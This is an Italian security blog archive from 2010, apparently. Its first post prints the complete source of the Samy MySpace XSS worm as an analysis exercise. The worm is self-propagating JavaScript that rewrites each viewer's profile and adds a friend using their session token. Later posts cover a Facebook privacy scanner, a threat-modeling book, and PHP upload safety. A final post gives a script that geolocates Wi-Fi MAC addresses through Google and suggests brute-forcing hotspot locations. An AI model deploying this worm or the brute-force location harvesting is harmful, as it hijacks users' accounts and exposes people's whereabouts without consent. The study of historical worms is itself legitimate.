Sicurezza
Myspace old XSS virus
by Nick on ago.13, 2010, under Hacks, Sicurezza
A volte anche un vecchio worm js può risultare utile a livello didattico, anche per capire come sia difficile limitare i danni di eventuali falle XSS.
La sfida è semplice, ecco il codice:
<div id=mycode style="BACKGROUND: url('java<br /> script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td> <p>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>
Il codice permetteva di guadagnare velocemente amici su MySpace, tanto da meritarsi una pagina su wikipedia.
Se avete problemi nell’analisi, ecco il link di riferimento per l’analisi. Qui, invece, è disponibile la storia di questo bug.
Impostazioni Privacy Facebook
by Nick on mag.18, 2010, under Hacks, Sicurezza, Tools
Una volta registrati a Facebook la privacy dei nostri dati è messa a dura prova. Il rischio maggiore è sicuramente il temuto upgrade di sistema che, di tanto in tanto, viene attuato dai tecnici dell’azienda di Palo Alto. Molto spesso questo vuol dire che le impostazioni relative alla privacy che abbiamo configurato poco tempo fa non sono piu valide ed è tutto da risistemare il prima possibile.
Uno strumento appena nato ma molto efficace per controllare velocemente se le impostazioni del nostro profilo sono “buone” è ReclaimPrivacy.
Il funzionamento è molto semplice:
una volta visitato il sito http://www.reclaimprivacy.org/ è sufficiente aggiungere ai nostri segnalibri il link indicato dalla scritta Scan for Privacy.
A questo punto ci basterà accedere alla home page di facebook e quindi premere sul link per ricevere un report globale ed eventualmente alcuni suggerimenti efficaci su come migliorare determinate impostazioni.
Avendo a disposizione anche il codice sorgente di questo script possiamo verificarne facilmente la sua affidabilità: i dati che andrà a verificare non verranno comunicati a nessuno.
Piattaforma di simulazione attacchi e studio minacce
by Nick on feb.21, 2010, under Sicurezza
Da pochi giorni è disponibile gratuitamente sotto licenza GPL FDL v1.3 un libro scritto da Olu Akindeinde dal titolo
ATTACK SIMULATION AND THREAT MODELING.
Struttura
Il libro si divide in quattro parti.
1. Vettori di attacco
Descrive e classifica i vari metodi usati per compromettere la sicurezza di un sistema informatico ed evidenzia il ruolo che errori, bug, falle e altri fattori ricoprono.
2. Simulazione di attacco
A sua volta diviso in:
- Laboratorio Virtuale
- Identificazione degli attacchi (IDS)
- Raccolta delle informazioni di identificazione (Honeypots, ecc.)
Descrive la preparazione del laboratorio virtuale, implementandolo su VMware, VirtualBox e Qemu. Successivamente l’IDS e la sua configurazione. Infine la rilevazione di attacchi negli Honeypots e nelle Honeynets, parlando di usi e tipologie.
3. Analisi dell’attacco
A sua volta diviso in:
- Analisi del comportamento
- Correlazione tra attacchi
Descrive anzitutto i modi di propagazione delle minacce e i tool a disposizione per catturare questi comportamenti e mostrare i dati raccolti. Successivamente descrive le tecnologie per mostrare e filtrare eventi correlati, aggregandoli e memorizzandoli.
4. Modellazione dell’attacco
L’ultima parte parla di riconoscimento di pattern.
Conclusioni
Si tratta quindi di un libro molto completo e strettamente legato alla praticità e ai problemi reali che si affrontano in questo settore. Per chi volesse approfondire, lo stesso autore ha messo a disposizione sotto GPL anche un altro libro, Security Analysis and Data Visualization, che potete scaricare da qui o da qui.
Download
Potete scaricarlo dal sito ufficiale a questo indirizzo:
http://inverse.com.ng/book2/Attack_Simulation_and_Threat_Modeling.pdf
o (nel caso non fosse disponibile) da questo server cliccando qui.
Upload sicuri con PHP
by Nick on feb.07, 2010, under Programming, Sicurezza
Il caricamento di file su un server è una delle maggiori fonti di insicurezza per i siti web.

Il documento che riporto, scritto da Alla Bezroutchko (ingegnere della sicurezza presso Scanit e persona presente da vari anni nel mondo della sicurezza con molti bug disclosures a proprio nome), rappresenta un vero vademecum per il caricamento tramite PHP.
Link originale:
http://www.scanit.be/uploads/php-file-upload.pdf
Se non funzionante, accedi direttamente al file cliccando qui.
Personalmente, oltre ai soliti consigli, raccomando sempre di usare per i file caricati un nome casuale, associato a quello del file caricato tramite php. Quando possibile, posizionare i file fuori dalle directory accessibili (o bloccarne l’accesso diretto tramite le configurazioni di Apache) e accederne tramite php. Quando non possibile, controllare il contenuto dei file caricati, bloccare l’esecuzione di script nella cartella dedicata all’upload, verificare accuratamente le impostazioni di apache.
Google Wifi DB
by Nick on gen.31, 2010, under Hacks, Sicurezza
Try compiling this form with a wifi MAC Address and press Enter (iframe):
The source code is:
#!/usr/bin/python # Copyright (C) 2010 Kees Cook# License: GPLv3 # Find location of a MAC address via Google Location Services # http://code.google.com/p/gears/wiki/GeolocationAPI import cgi import sys, urllib2 import simplejson import pprint form = cgi.FieldStorage() if not form: print "Content-type: text/html" print "" print "" print "Enter MAC address to locate: " print 'source' print "" sys.exit(0) #try: if True: loc_req = { 'version': '1.1.0', 'request_address': True, 'address_language': 'en', 'wifi_towers': [] } bssid = form['mac'].value loc_req['wifi_towers'] += [{ 'mac_address': bssid.replace(':','-'), 'signal_strength': 1 } ] data = simplejson.JSONEncoder().encode(loc_req) output = urllib2.urlopen('https://www.google.com/loc/json', data).read() output = simplejson.loads(output) print "Content-type: text/plain" print "" pprint.pprint(output) if output['location']['accuracy'] >= 22000: print "# N.B. Accuracy of 22000 or higher seems to indicate unknown location..." else: print "Content-type: text/html" print "" print "" print "Sorry, something went wrong" print ""
Think at the possibility for somebody to bruteforce Google DB and retrieve these infos.
Starting from http://standards.ieee.org/regauth/oui/oui.txt, for example, i can try 16^6 mac addresses starting from 00-18-84 to get info about FON hotspots and achieve locations in a day or less.
I think this is not illegal as this is what my GPhone actually does. PS: I have not checked against any bruteforce prevention.
Thanks to Kees Cook.

